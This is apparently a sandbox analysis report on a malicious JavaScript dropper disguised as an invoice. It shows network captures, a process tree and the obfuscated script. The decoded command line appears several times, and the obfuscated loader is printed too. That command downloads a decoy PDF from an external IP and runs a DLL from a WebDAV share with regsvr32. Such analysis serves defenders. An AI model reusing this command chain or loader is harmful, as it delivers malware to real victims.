Jan 11, 2025 09:20:11.572850943 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572876930 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.572902918 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.681092978 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:12.132838011 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:12.137669086 CET	8888	49732	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:12.137737989 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:12.138497114 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:12.143331051 CET	8888	49732	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:12.922302008 CET	8888	49732	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:12.967164040 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:14.246359110 CET	49732	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 09:22:01.490609884 CET	52086	53	192.168.2.4	1.1.1.1
Jan 11, 2025 09:22:01.495435953 CET	53	52086	1.1.1.1	192.168.2.4
Jan 11, 2025 09:22:01.498305082 CET	52086	53	192.168.2.4	1.1.1.1
Jan 11, 2025 09:22:01.498343945 CET	52086	53	192.168.2.4	1.1.1.1
Jan 11, 2025 09:22:01.503160954 CET	53	52086	1.1.1.1	192.168.2.4
Jan 11, 2025 09:22:01.943254948 CET	53	52086	1.1.1.1	192.168.2.4
Jan 11, 2025 09:22:01.952337980 CET	52086	53	192.168.2.4	1.1.1.1
Jan 11, 2025 09:22:01.957289934 CET	53	52086	1.1.1.1	192.168.2.4
Jan 11, 2025 09:22:01.957370996 CET	52086	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:20:25.072357893 CET	64554	53	192.168.2.4	1.1.1.1
Jan 11, 2025 09:20:37.386960983 CET	53027	53	192.168.2.4	1.1.1.1
Jan 11, 2025 09:20:53.261921883 CET	55256	53	192.168.2.4	1.1.1.1
Jan 11, 2025 09:22:01.488235950 CET	53	60111	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:20:25.072357893 CET	192.168.2.4	1.1.1.1	0xeee3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:20:37.386960983 CET	192.168.2.4	1.1.1.1	0x4cf2	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:20:53.261921883 CET	192.168.2.4	1.1.1.1	0xfdb4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 09:20:25.079231977 CET	1.1.1.1	192.168.2.4	0xeee3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:20:37.393913984 CET	1.1.1.1	192.168.2.4	0x4cf2	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:20:53.270340919 CET	1.1.1.1	192.168.2.4	0xfdb4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	193.143.1.205	80	6188	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:20:10.000727892 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 09:20:10.809978008 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:20:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 09:20:10.810009956 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 09:20:10.810024023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 09:20:10.810096025 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 09:20:10.810106993 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 09:20:10.810172081 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 09:20:10.810184956 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 09:20:10.810332060 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 09:20:10.810343027 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 09:20:10.810357094 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 09:20:10.815119028 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	193.143.1.205	8888	6644	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:20:12.138497114 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 09:20:12.922302008 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:20:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:20:06
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js"
Imagebase:	0x7ff6a4f20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:20:06
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll
Imagebase:	0x7ff684470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:20:06
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:20:07
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:20:10
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:20:10
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff684470000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:20:10
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff72c4e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:20:11
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:20:11
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:20:11
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1536,i,12068301054056956691,14228122358758454941,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hdcbppeh() {	hdcbppeh() ➔ undefined
1	awllztorg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nqapcu = this[csjfqbhb + arnbv + rfilz + qkrvce + nojbdrid + okptgplf + iumrsae + oftrzta] ( this[ohxhrn + lyjrz + badsntwj + rfilz + oprfvpfut + csjfqbhb + oftrzta][nedomrw + rfilz + nojbdrid + arnbv + oftrzta + nojbdrid + twlxacfqr + uqkcxp + pbkkuh + nojbdrid + badsntwj + oftrzta] ( ohxhrn + lyjrz + badsntwj + rfilz + oprfvpfut + csjfqbhb + oftrzta + nusodempv + lyjrz + trypghus + nojbdrid + ahqscsefi + ahqscsefi ) [wruxnwvw + nojbdrid + cnzio + wruxnwvw + nojbdrid + arnbv + veguavv] ( tcwsnkacp + xieuzs + gyqpnk + zlmwyg + xojyy + nedomrw + ugnin + wruxnwvw + wruxnwvw + gyqpnk + gwqxhz + lttbu + xojyy + ugnin + lyjrz + gyqpnk + wruxnwvw + qmqssd + nedomrw + jaocoywy + iumrsae + oftrzta + rfilz + jaocoywy + ahqscsefi + bvdzacg + lcxefs + arnbv + iumrsae + nojbdrid + ahqscsefi + qmqssd + okptgplf + iumrsae + oftrzta + nojbdrid + rfilz + iumrsae + arnbv + oftrzta + oprfvpfut + jaocoywy + iumrsae + arnbv + ahqscsefi + qmqssd + mdysv + jaocoywy + badsntwj + arnbv + ahqscsefi + nojbdrid ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( kburfpyi = 0 ; kburfpyi < awllztorg[ahqscsefi + nojbdrid + iumrsae + cnzio + oftrzta + trypghus] ; ++ kburfpyi )
4	{
5	if ( nqapcu == awllztorg[kburfpyi] )
6	{
7	nqapcu = true;
8	break ;
9	}
10	}
11	if ( nqapcu !== true )
12	this[ohxhrn + lyjrz + badsntwj + rfilz + oprfvpfut + csjfqbhb + oftrzta][yolvjl + zxsipqlvf + oprfvpfut + oftrzta] ( );
13	this[ohxhrn + lyjrz + badsntwj + rfilz + oprfvpfut + csjfqbhb + oftrzta][nedomrw + rfilz + nojbdrid + arnbv + oftrzta + nojbdrid + twlxacfqr + uqkcxp + pbkkuh + nojbdrid + badsntwj + oftrzta] ( ohxhrn + lyjrz + badsntwj + rfilz + oprfvpfut + csjfqbhb + oftrzta + nusodempv + lyjrz + trypghus + nojbdrid + ahqscsefi + ahqscsefi ) [rfilz + zxsipqlvf + iumrsae] ( badsntwj + qzisakqc + veguavv + bvdzacg + khuomj + badsntwj + bvdzacg + csjfqbhb + jaocoywy + fwhhausm + nojbdrid + rfilz + qkrvce + trypghus + nojbdrid + ahqscsefi + ahqscsefi + nusodempv + nojbdrid + jffyssuup + nojbdrid + bvdzacg + sryrxnvpk + nedomrw + jaocoywy + qzisakqc + qzisakqc + arnbv + iumrsae + veguavv + bvdzacg + xztvpwqgf + okptgplf + iumrsae + uyebsfnqy + jaocoywy + yeiydm + nojbdrid + sryrxnvpk + ohxhrn + nojbdrid + uqkcxp + wruxnwvw + nojbdrid + sqnxftk + zxsipqlvf + nojbdrid + qkrvce + oftrzta + bvdzacg + sryrxnvpk + twlxacfqr + zxsipqlvf + oftrzta + bzarzot + oprfvpfut + ahqscsefi + nojbdrid + bvdzacg + tppzuvs + oftrzta + nojbdrid + qzisakqc + csjfqbhb + tppzuvs + qmqssd + oprfvpfut + iumrsae + uyebsfnqy + jaocoywy + oprfvpfut + badsntwj + nojbdrid + nusodempv + csjfqbhb + veguavv + usdugzx + bvdzacg + trypghus + oftrzta + oftrzta + csjfqbhb + yacwwa + khuomj + khuomj + idyyuuk + xdammrwr + sxbyc + nusodempv + idyyuuk + npbkekj + sxbyc + nusodempv + idyyuuk + nusodempv + lwnzhjdv + engti + pipvzjyum + khuomj + oprfvpfut + iumrsae + uyebsfnqy + jaocoywy + oprfvpfut + badsntwj + nojbdrid + nusodempv + csjfqbhb + trypghus + csjfqbhb + xztvpwqgf + gxrxs + gxrxs + qkrvce + oftrzta + arnbv + rfilz + oftrzta + bvdzacg + tppzuvs + oftrzta + nojbdrid + qzisakqc + csjfqbhb + tppzuvs + qmqssd + oprfvpfut + iumrsae + uyebsfnqy + jaocoywy + oprfvpfut + badsntwj + nojbdrid + nusodempv + csjfqbhb + veguavv + usdugzx + gxrxs + gxrxs + badsntwj + qzisakqc + veguavv + bvdzacg + khuomj + badsntwj + bvdzacg + iumrsae + nojbdrid + oftrzta + bvdzacg + zxsipqlvf + qkrvce + nojbdrid + bvdzacg + qmqssd + qmqssd + idyyuuk + xdammrwr + sxbyc + nusodempv + idyyuuk + npbkekj + sxbyc + nusodempv + idyyuuk + nusodempv + lwnzhjdv + engti + pipvzjyum + rklhlttmd + qewtmguc + qewtmguc + qewtmguc + qewtmguc + qmqssd + veguavv + arnbv + uyebsfnqy + fwhhausm + fwhhausm + fwhhausm + rfilz + jaocoywy + jaocoywy + oftrzta + qmqssd + gxrxs + gxrxs + badsntwj + qzisakqc + veguavv + bvdzacg + khuomj + badsntwj + bvdzacg + rfilz + nojbdrid + cnzio + qkrvce + uyebsfnqy + rfilz + sxbyc + lwnzhjdv + bvdzacg + khuomj + qkrvce + bvdzacg + qmqssd + qmqssd + idyyuuk + xdammrwr + sxbyc + nusodempv + idyyuuk + npbkekj + sxbyc + nusodempv + idyyuuk + nusodempv + lwnzhjdv + engti + pipvzjyum + rklhlttmd + qewtmguc + qewtmguc + qewtmguc + qewtmguc + qmqssd + veguavv + arnbv + uyebsfnqy + fwhhausm + fwhhausm + fwhhausm + rfilz + jaocoywy + jaocoywy + oftrzta + qmqssd + lwnzhjdv + engti + lwnzhjdv + xdammrwr + qewtmguc + sxbyc + engti + npbkekj + lwnzhjdv + npbkekj + lwnzhjdv + idyyuuk + pipvzjyum + ihzjclku + qewtmguc + nusodempv + veguavv + ahqscsefi + ahqscsefi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll",0,false) ➔ 0
14	}
15	nojbdrid = "A";
16	nojbdrid = "l";
17	nojbdrid = "v";
18	nojbdrid = "M";
19	nojbdrid = "w";
20	nojbdrid = "R";
21	nojbdrid = "Y";
22	nojbdrid = "N";
23	nojbdrid = "o";
24	nojbdrid = "Q";
25	nojbdrid = "Q";
26	nojbdrid = "X";
27	nojbdrid = "y";
28	nojbdrid = "x";
29	nojbdrid = "T";
30	nojbdrid = "O";
31	nojbdrid = "a";
32	nojbdrid = "s";
33	nojbdrid = "l";
34	nojbdrid = "Q";
35	nojbdrid = "h";
36	nojbdrid = "e";
37	qmqssd = "k";
38	qmqssd = "i";
39	qmqssd = "U";
40	qmqssd = "w";
41	qmqssd = "B";
42	qmqssd = "j";
43	qmqssd = "S";
44	qmqssd = "J";
45	qmqssd = "C";
46	qmqssd = "y";
47	qmqssd = "O";
48	qmqssd = "u";
49	qmqssd = "l";
50	qmqssd = "D";
51	qmqssd = "I";
52	qmqssd = "t";
53	qmqssd = "w";
54	qmqssd = "H";
55	qmqssd = "b";
56	qmqssd = "h";
57	qmqssd = "K";
58	qmqssd = "R";
59	qmqssd = "M";
60	qmqssd = "i";
61	qmqssd = "F";
62	qmqssd = "v";
63	qmqssd = "X";
64	qmqssd = "G";
65	qmqssd = "M";
66	qmqssd = "U";
67	qmqssd = "I";
68	qmqssd = "B";
69	qmqssd = "T";
70	qmqssd = "N";
71	qmqssd = "\\";
72	oftrzta = "b";
73	oftrzta = "T";
74	oftrzta = "t";
75	oftrzta = "U";
76	oftrzta = "i";
77	oftrzta = "R";
78	oftrzta = "K";
79	oftrzta = "Y";
80	oftrzta = "z";
81	oftrzta = "i";
82	oftrzta = "J";
83	oftrzta = "w";
84	oftrzta = "R";
85	oftrzta = "a";
86	oftrzta = "K";
87	oftrzta = "s";
88	oftrzta = "d";
89	oftrzta = "n";
90	oftrzta = "g";
91	oftrzta = "N";
92	oftrzta = "d";
93	oftrzta = "q";
94	oftrzta = "y";
95	oftrzta = "D";
96	oftrzta = "r";
97	oftrzta = "P";
98	oftrzta = "H";
99	oftrzta = "a";
100	oftrzta = "S";
101	oftrzta = "R";
102	oftrzta = "L";
103	oftrzta = "x";
104	oftrzta = "H";
105	oftrzta = "Z";
106	oftrzta = "P";
107	oftrzta = "t";
108	khuomj = "B";
109	khuomj = "E";
110	khuomj = "k";
111	khuomj = "Y";
112	khuomj = "g";
113	khuomj = "K";
114	khuomj = "p";
115	khuomj = "z";
116	khuomj = "G";
117	khuomj = "m";
118	khuomj = "c";
119	khuomj = "T";
120	khuomj = "x";
121	khuomj = "N";
122	khuomj = "k";
123	khuomj = "l";
124	khuomj = "P";
125	khuomj = "C";
126	khuomj = "e";
127	khuomj = "h";
128	khuomj = "n";
129	khuomj = "H";
130	khuomj = "I";
131	khuomj = "n";
132	khuomj = "B";
133	khuomj = "e";
134	khuomj = "i";
135	khuomj = "I";
136	khuomj = "c";
137	khuomj = "L";
138	khuomj = "s";
139	khuomj = "K";
140	khuomj = "w";
141	khuomj = "o";
142	khuomj = "s";
143	khuomj = "e";
144	khuomj = "/";
145	rklhlttmd = "Q";
146	rklhlttmd = "v";
147	rklhlttmd = "A";
148	rklhlttmd = "b";
149	rklhlttmd = "l";
150	rklhlttmd = "V";
151	rklhlttmd = "I";
152	rklhlttmd = "o";
153	rklhlttmd = "E";
